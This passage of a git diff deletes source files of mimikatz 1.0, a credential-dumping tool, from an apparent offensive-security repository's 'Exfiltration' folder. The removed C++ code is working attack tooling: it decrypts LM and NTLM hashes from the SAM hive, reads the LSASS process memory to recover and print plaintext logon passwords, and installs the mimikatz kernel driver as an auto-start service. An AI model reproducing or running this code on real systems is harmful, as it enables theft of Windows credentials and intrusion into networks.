wchar_t[tailleMaxSousCle]; - for(DWORD i = 0; i < nombreUsers ; i++) - { - DWORD tailleRid = tailleMaxSousCle; - code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); - if(code == ERROR_SUCCESS) - { - if(_wcsicmp(monRid, L"Names") != 0) - { - HKEY monUser; - code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); - if(reussite &= (code == ERROR_SUCCESS)) - { - DWORD tailleF = 0, tailleV = 0; - if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && - (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) - { - mod_hash::USER_F * userF = reinterpret_cast(new BYTE[tailleF]); - mod_hash::USER_V * userV = reinterpret_cast(new BYTE[tailleV]); - - if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast(userF), &tailleF) == ERROR_SUCCESS) && - (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast(userV), &tailleV) == ERROR_SUCCESS)) - infosFromUserAndKey(userF, userV, hBootKey); - - delete[] userF, userV; - } - RegCloseKey(monUser); - } - } - } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; - } - delete[] monRid; - } - RegCloseKey(mesUsers); - } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; - } - } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; - delete[] bufferF; - } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; - RegCloseKey(maSAM); - } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; - - return reussite; -} - -void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) -{ - wstring hashLM, hashNTLM; - mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); - mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); - - (*outputStream) << endl << - L"Rid : " << userF->UserId << endl << - L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << - L"LM : " << hashLM << endl << - L"NTLM : " << hashNTLM << endl - ; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h deleted file mode 100644 index 6586d03..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_hive.h" -#include "mod_hash.h" -#include "mod_system.h" -#include -#include - -class mod_mimikatz_samdump -{ -private: - static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); - static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); - - static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); - static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); - static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); - - static bool getBootKeyFromReg(BYTE bootkey[0x10]); - static bool getInfosFromReg(BYTE bootkey[0x10]); - static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); - - static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); -public: - static vector getMimiKatzCommands(); - - static bool bootkey(vector * arguments); - static bool full(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp deleted file mode 100644 index d8832bc..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp +++ /dev/null @@ -1,348 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_sekurlsa.h" -#include "..\global.h" -HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; -HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; -mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; -PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; - -bool mod_mimikatz_sekurlsa::lsassOK = false; -vector> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; -vector mod_mimikatz_sekurlsa::mesModules; - -vector mod_mimikatz_sekurlsa::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles")); - - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes")); - return monVector; -} - -bool mod_mimikatz_sekurlsa::getLogonPasswords(vector * arguments) -{ - if(searchLSASSDatas()) - getLogonData(arguments, &GLOB_ALL_Providers); - else - (*outputStream) << L"Données LSASS en erreur" << endl; - return true; -} - -bool mod_mimikatz_sekurlsa::loadLsaSrv() -{ - if(!hLsaSrv) - hLsaSrv = LoadLibrary(L"lsasrv"); - - if(mesModules.empty()) - { - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); - if(mod_system::GLOB_Version.dwBuildNumber >= 8000) - mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); - } - return (hLsaSrv != NULL); -} - -bool mod_mimikatz_sekurlsa::unloadLsaSrv() -{ - for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) - if(*testModule->pModuleEntry) - delete *testModule->pModuleEntry; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); - else - mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); - - if(hLSASS) - CloseHandle(hLSASS); - if(hLsaSrv) - FreeLibrary(hLsaSrv); - - return true; -} - -bool mod_mimikatz_sekurlsa::searchLSASSDatas() -{ - if(!lsassOK) - { - if(!hLSASS) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring processName = L"lsass.exe"; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) - { - vector monVecteurModules; - if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) - { - for(vector::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) - { - for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) - { - if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) - { - GLOB_ALL_Providers.push_back(make_pair(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); - *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); - break; - } - } - } - } else { - (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; - CloseHandle(hLSASS); - hLSASS = NULL; - } - } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; - } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; - } - - if(hLSASS) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) - { - localLSASRV.modBaseAddr = reinterpret_cast(mesInfos.lpBaseOfDll); - localLSASRV.modBaseSize = mesInfos.SizeOfImage; - - if(!SeckPkgFunctionTable) - { - struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; - if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) - mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); - } - - lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); - } - } - } - return lsassOK; -} - -PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) -{ - PLIST_ENTRY resultat = NULL; - BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; - PLIST_ENTRY pStruct = NULL; - if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) - { - while(pStruct != pSecurityStruct) - { - if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) - { - if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) - { - resultat = pStruct; - break; - } - } else break; - pStruct = reinterpret_cast(monBuffer)->Flink; - } - } - delete [] monBuffer; - return resultat; -} - -PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) -{ - PVOID resultat = NULL; - RTL_AVL_TABLE maTable; - if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); - return resultat; -} - -PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) -{ - PVOID resultat = NULL; - RTL_AVL_TABLE maTable; - if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) - { - if(maTable.OrderedPointer) - { - BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; - if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) - { - if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) - resultat = maTable.OrderedPointer; - } - delete [] monBuffer; - } - - if(!resultat && maTable.BalancedRoot.LeftChild) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); - if(!resultat && maTable.BalancedRoot.RightChild) - resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); - } - return resultat; -} - -void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) -{ - if(mesCreds) - { - if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) - { - wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); - wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); - wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); - wstring rUserName = (isDomainFirst ? domainName : userName); - wstring rDomainName = (isDomainFirst ? userName : domainName); - - if(justSecurity) - { - if(!pos) - (*outputStream) << password; - else - (*outputStream) << endl << - L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; - } - else - { - if(!pos) - (*outputStream) << endl << - L"\t * Utilisateur : " << rUserName << endl << - L"\t * Domaine : " << rDomainName << endl << - L"\t * Mot de passe : " << password; - else - (*outputStream) << endl << - L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << - L"\t Domaine : " << rDomainName << endl << - L"\t Mot de passe : " << password; - } - } - } else (*outputStream) << L"n.t. (LUID KO)"; -} - -bool mod_mimikatz_sekurlsa::getLogonData(vector * mesArguments, vector> * mesProviders) -{ - PLUID sessions; - ULONG count; - - if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) - { - for (ULONG i = 0; i < count ; i++) - { - PSECURITY_LOGON_SESSION_DATA sessionData = NULL; - if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) - { - if(sessionData->LogonType != Network) - { - (*outputStream) << endl << - L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << - L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << - L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << - L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; - - for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) - { - (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; - monProvider->first(&sessions[i], mesArguments->empty()); - (*outputStream) << endl; - } - } - LsaFreeReturnBuffer(sessionData); - } - else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl; - } - LsaFreeReturnBuffer(sessions); - } - else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl; - - return true; -} - -bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) -{ - bool resultat = false; - BYTE * monBuffer = NULL; - PBYTE * leBuffer = buffer ? buffer : &monBuffer; - if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) - { - int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; - if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) - { - if(dstChaine) - dstChaine->assign(reinterpret_cast(*leBuffer), maChaine->Length / sizeof(wchar_t)); - } - } - if(monBuffer) - delete[] monBuffer; - return resultat; -} - -bool mod_mimikatz_sekurlsa::searchPasswords(vector * arguments) -{ - if(searchLSASSDatas()) - { - if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) - { -#ifdef _M_X64 - PBYTE MmSystemRangeStart = reinterpret_cast(0xffff080000000000); -#elif defined _M_IX86 - PBYTE MmSystemRangeStart = reinterpret_cast(0x80000000); -#endif - ULONG maTaille = 0; - NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); - - DWORD nbPossible = 0; - for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) - { - MEMORY_BASIC_INFORMATION mesInfos; - if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) - { - if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) - { - UNICODE_STRING donnees[3]; - for(PBYTE pZone = reinterpret_cast(mesInfos.BaseAddress); pZone < (reinterpret_cast(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) - { - if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) - { - if( - (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && - (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && - (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) - ) - { - wstring user, domain, password; - BYTE * bPassword = NULL; - if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) - { - if(bPassword) - { - mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); - password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); - } - (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; - } - - if(bPassword) - delete[] bPassword; - } - } - } - } - pMemoire += mesInfos.RegionSize; - } - else break; - } - } - } - else (*outputStream) << L"Données LSASS en erreur" << endl; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h deleted file mode 100644 index aa05d58..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h +++ /dev/null @@ -1,64 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_memory.h" -#include "mod_process.h" -#include "mod_text.h" -#include "mod_system.h" -#include -#include "secpkg.h" - -#include "LSA Keys/keys_nt5.h" -#include "LSA Keys/keys_nt6.h" - -#include "Security Packages/msv1_0.h" -#include "Security Packages/tspkg.h" -#include "Security Packages/wdigest.h" -#include "Security Packages/kerberos.h" -#include "Security Packages/livessp.h" -#include "Security Packages/ssp.h" - -class mod_mimikatz_sekurlsa -{ -public: - typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); -private: - typedef struct _KIWI_MODULE_PKG_LSA { - wchar_t * moduleName; - wchar_t * simpleName; - PFN_ENUM_BY_LUID enumFunc; - mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; - _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} - } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; - - static bool lsassOK; - static vector> GLOB_ALL_Providers; - static vector mesModules; - - static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); - static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); - - static bool getLogonPasswords(vector * arguments); - static bool searchPasswords(vector * arguments); -public: - static HANDLE hLSASS; - static HMODULE hLsaSrv; - static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; - static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; - - static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); - static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); - - static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); - static bool getLogonData(vector * mesArguments, vector> * mesProviders); - - static bool loadLsaSrv(); - static bool unloadLsaSrv(); - static bool searchLSASSDatas(); - - static vector getMimiKatzCommands(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp deleted file mode 100644 index 31fb6b5..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp +++ /dev/null @@ -1,191 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_service.h" -#include "..\global.h" - -vector mod_mimikatz_service::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz")); - return monVector; -} - -bool mod_mimikatz_service::start(vector * arguments) -{ - (*outputStream) << L"Démarrage de \'"; - return genericFunction(mod_service::start, arguments); -} - -bool mod_mimikatz_service::stop(vector * arguments) -{ - (*outputStream) << L"Arrêt de \'"; - return genericFunction(mod_service::stop, arguments); -} - -bool mod_mimikatz_service::remove(vector * arguments) -{ - (*outputStream) << L"Suppression de \'"; - return genericFunction(mod_service::remove, arguments); -} - -bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector * arguments) -{ - if(!arguments->empty()) - { - (*outputStream) << arguments->front() << L"\' : "; - if(function(&arguments->front(), NULL)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; - - return true; -} - - -bool mod_mimikatz_service::list(vector * arguments) -{ - bool services_fs_drivers = true; - bool services = false; - bool fs = false; - bool drivers = false; - - bool allstate = true; - bool running = false; - bool stopped = false; - - vector * vectorServices = new vector(); - if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) - { - for(vector::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) - { - if( - ( - (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || - (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || - (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || - (services_fs_drivers) - ) - && - ( - (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || - (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || - (allstate) - ) - ) - { - if(monService->ServiceStatusProcess.dwProcessId != 0) - (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; - (*outputStream) << L'\t'; - - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) - (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) - (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) - (*outputStream) << L"KERNEL_DRIVER" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) - (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; - if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) - (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; - - switch(monService->ServiceStatusProcess.dwCurrentState) - { - case SERVICE_CONTINUE_PENDING: - (*outputStream) << L"CONTINUE_PENDING"; - break; - case SERVICE_PAUSE_PENDING: - (*outputStream) << L"PAUSE_PENDING"; - break; - case SERVICE_PAUSED: - (*outputStream) << L"PAUSED"; - break; - case SERVICE_RUNNING: - (*outputStream) << L"RUNNING"; - break; - case SERVICE_START_PENDING: - (*outputStream) << L"START_PENDING"; - break; - case SERVICE_STOP_PENDING: - (*outputStream) << L"STOP_PENDING"; - break; - case SERVICE_STOPPED: - (*outputStream) << L"STOPPED"; - break; - } - - (*outputStream) << L'\t' << - monService->serviceName << L'\t' << - monService->serviceDisplayName << - endl; - } - } - } - else - (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; - - delete vectorServices; - return true; -} - -bool mod_mimikatz_service::mimikatz(vector * arguments) -{ - if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) - { - SC_HANDLE monService = NULL; - if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) - { - if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) - { - (*outputStream) << L"[*] Pilote mimikatz non présent, installation." << endl; - - wstring monPilote = L"mimikatz.sys"; - wstring monPiloteComplet = L""; - if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) - { - bool fileExist = false; - if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) - { - if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) - { - (*outputStream) << L"[+] Création du pilote : OK" << endl; - if(mod_secacl::addWorldToMimikatz(&monService)) - (*outputStream) << L"[+] Attribution des droits : OK"; - else - (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"[*] Pilote mimikatz déjà présent" << endl; - - if(monService) - { - if(StartService(monService, 0, NULL) != 0) - (*outputStream) << L"[+] Démarrage du pilote : OK"; - else - (*outputStream) << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - CloseServiceHandle(monService); - } - - CloseServiceHandle(monManager); - } - else (*outputStream) << L"[!] 